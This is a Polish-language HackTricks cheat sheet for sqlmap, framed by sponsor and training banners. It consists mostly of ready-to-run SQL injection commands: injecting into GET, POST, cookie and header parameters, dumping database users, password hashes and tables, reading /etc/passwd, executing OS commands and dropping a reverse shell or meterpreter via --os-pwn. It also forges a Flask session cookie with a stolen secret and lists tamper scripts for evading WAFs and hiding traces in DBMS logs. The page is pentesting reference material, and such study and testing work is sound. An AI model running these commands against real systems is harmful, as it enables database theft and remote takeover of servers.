hacktricks/pentesting-web/sql-injection/sqlmap
2024-08-04 15:18:57 +00:00
..
README.md Translated ['network-services-pentesting/512-pentesting-rexec.md', 'netw 2024-08-04 15:18:57 +00:00
second-order-injection-sqlmap.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:19:44 +00:00

SQLMap - Ściąga

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks
{% endhint %}

Natychmiastowo dostępna konfiguracja do oceny podatności i testów penetracyjnych. Przeprowadź pełny pentest z dowolnego miejsca z 20+ narzędziami i funkcjami, które obejmują od rekonesansu po raportowanie. Nie zastępujemy pentesterów - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby dać im z powrotem trochę czasu na głębsze badania, przełamywanie zabezpieczeń i zabawę.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Podstawowe argumenty dla SQLmap

Ogólne

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Pobierz informacje

Wewnętrzne

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Dane DB

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Miejsce wstrzyknięcia

Z przechwycenia Burp/ZAP

Przechwyć żądanie i utwórz plik req.txt

sqlmap -r req.txt --current-user

Wstrzykiwanie Żądania GET

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Wstrzykiwanie Żądania POST

sqlmap -u "http://example.com" --data "username=*&password=*"

Iniekcje w nagłówkach i inne metody HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Wskaźnik ciągu, gdy wstrzyknięcie jest udane

--string="string_showed_when_TRUE"

Eval

Sqlmap umożliwia użycie -e lub --eval, aby przetworzyć każdy ładunek przed jego wysłaniem za pomocą jednego wiersza kodu w Pythonie. Ułatwia to i przyspiesza przetwarzanie ładunku w niestandardowy sposób przed jego wysłaniem. W poniższym przykładzie sesja cookie flask jest podpisywana przez flask znanym sekretem przed jej wysłaniem:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Powłoka

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Przeczytaj plik

--file-read=/etc/passwd

Przeszukaj stronę internetową za pomocą SQLmap i automatycznie wykorzystaj

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Drugi Rząd Wstrzyknięcia

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Przeczytaj ten post o tym, jak przeprowadzać proste i złożone drugorzędowe wstrzyknięcia za pomocą sqlmap.

Dostosowywanie wstrzyknięcia

Ustaw sufiks

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefiks

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Pomoc w znajdowaniu wstrzyknięć logicznych

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Pamiętaj, że możesz stworzyć własny tamper w pythonie i jest to bardzo proste. Możesz znaleźć przykład tampera na stronie Drugiego Rzędu Wstrzyknięcia tutaj.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Opis
apostrophemask.py Zastępuje znak apostrofu jego pełnowymiarowym odpowiednikiem UTF-8
apostrophenullencode.py Zastępuje znak apostrofu jego nielegalnym podwójnym odpowiednikiem unicode
appendnullbyte.py Dodaje zakodowany znak NULL na końcu ładunku
base64encode.py Koduje wszystkie znaki w danym ładunku w formacie Base64
between.py Zastępuje operator większy niż ('>') z 'NOT BETWEEN 0 AND #'
bluecoat.py Zastępuje znak spacji po instrukcji SQL ważnym losowym znakiem pustym. Następnie zastępuje znak = operatorem LIKE
chardoubleencode.py Podwójnie koduje URL wszystkie znaki w danym ładunku (nie przetwarzając już zakodowanych)
commalesslimit.py Zastępuje wystąpienia takie jak 'LIMIT M, N' z 'LIMIT N OFFSET M'
commalessmid.py Zastępuje wystąpienia takie jak 'MID(A, B, C)' z 'MID(A FROM B FOR C)'
concat2concatws.py Zastępuje wystąpienia takie jak 'CONCAT(A, B)' z 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Koduje URL wszystkie znaki w danym ładunku (nie przetwarzając już zakodowanych)
charunicodeencode.py Koduje znaki unicode-url niezakodowane w danym ładunku (nie przetwarzając już zakodowanych). "%u0022"
charunicodeescape.py Koduje znaki unicode-url niezakodowane w danym ładunku (nie przetwarzając już zakodowanych). "\u0022"
equaltolike.py Zastępuje wszystkie wystąpienia operatora równości ('=') operatorem 'LIKE'
escapequotes.py Używa znaku ukośnika do ucieczki dla cudzysłowów (' i ")
greatest.py Zastępuje operator większy niż ('>') jego odpowiednikiem 'GREATEST'
halfversionedmorekeywords.py Dodaje wersjonowany komentarz MySQL przed każdym słowem kluczowym
ifnull2ifisnull.py Zastępuje wystąpienia takie jak 'IFNULL(A, B)' z 'IF(ISNULL(A), B, A)'
modsecurityversioned.py Otacza pełne zapytanie wersjonowanym komentarzem
modsecurityzeroversioned.py Otacza pełne zapytanie zerowym wersjonowanym komentarzem
multiplespaces.py Dodaje wiele spacji wokół słów kluczowych SQL
nonrecursivereplacement.py Zastępuje zdefiniowane słowa kluczowe SQL reprezentacjami odpowiednimi do zastąpienia (np. .replace("SELECT", "")) filtruje
percentage.py Dodaje znak procentu ('%') przed każdym znakiem
overlongutf8.py Konwertuje wszystkie znaki w danym ładunku (nie przetwarzając już zakodowanych)
randomcase.py Zastępuje każdy znak słowa kluczowego losową wartością wielkości liter
randomcomments.py Dodaje losowe komentarze do słów kluczowych SQL
securesphere.py Dodaje specjalnie skonstruowany ciąg
sp_password.py Dodaje 'sp_password' na końcu ładunku w celu automatycznego zaciemnienia w logach DBMS
space2comment.py Zastępuje znak spacji (' ') komentarzami
space2dash.py Zastępuje znak spacji (' ') komentarzem w postaci myślnika ('--') po którym następuje losowy ciąg i nowa linia ('\n')
space2hash.py Zastępuje znak spacji (' ') znakiem funta ('#') po którym następuje losowy ciąg i nowa linia ('\n')
space2morehash.py Zastępuje znak spacji (' ') znakiem funta ('#') po którym następuje losowy ciąg i nowa linia ('\n')
space2mssqlblank.py Zastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków
space2mssqlhash.py Zastępuje znak spacji (' ') znakiem funta ('#') po którym następuje nowa linia ('\n')
space2mysqlblank.py Zastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków
space2mysqldash.py Zastępuje znak spacji (' ') komentarzem w postaci myślnika ('--') po którym następuje nowa linia ('\n')
space2plus.py Zastępuje znak spacji (' ') znakiem plusa ('+')
space2randomblank.py Zastępuje znak spacji (' ') losowym znakiem pustym z ważnego zestawu alternatywnych znaków
symboliclogical.py Zastępuje operatory logiczne AND i OR ich symbolicznymi odpowiednikami (&& i
unionalltounion.py Zastępuje UNION ALL SELECT z UNION SELECT
unmagicquotes.py Zastępuje znak cudzysłowu (') kombinacją wielobajtową %bf%27 razem z ogólnym komentarzem na końcu (aby to działało)
uppercase.py Zastępuje każdy znak słowa kluczowego wartością wielką 'INSERT'
varnish.py Dodaje nagłówek HTTP 'X-originating-IP'
versionedkeywords.py Otacza każde nie-funkcyjne słowo kluczowe wersjonowanym komentarzem MySQL
versionedmorekeywords.py Otacza każde słowo kluczowe wersjonowanym komentarzem MySQL
xforwardedfor.py Dodaje fałszywy nagłówek HTTP 'X-Forwarded-For'

Natychmiastowo dostępna konfiguracja do oceny podatności i testów penetracyjnych. Przeprowadź pełny pentest z dowolnego miejsca z 20+ narzędziami i funkcjami, które obejmują od rekonesansu po raportowanie. Nie zastępujemy pentesterów - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby dać im z powrotem trochę czasu na głębsze badania, przełamywanie zabezpieczeń i zabawę.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks
{% endhint %}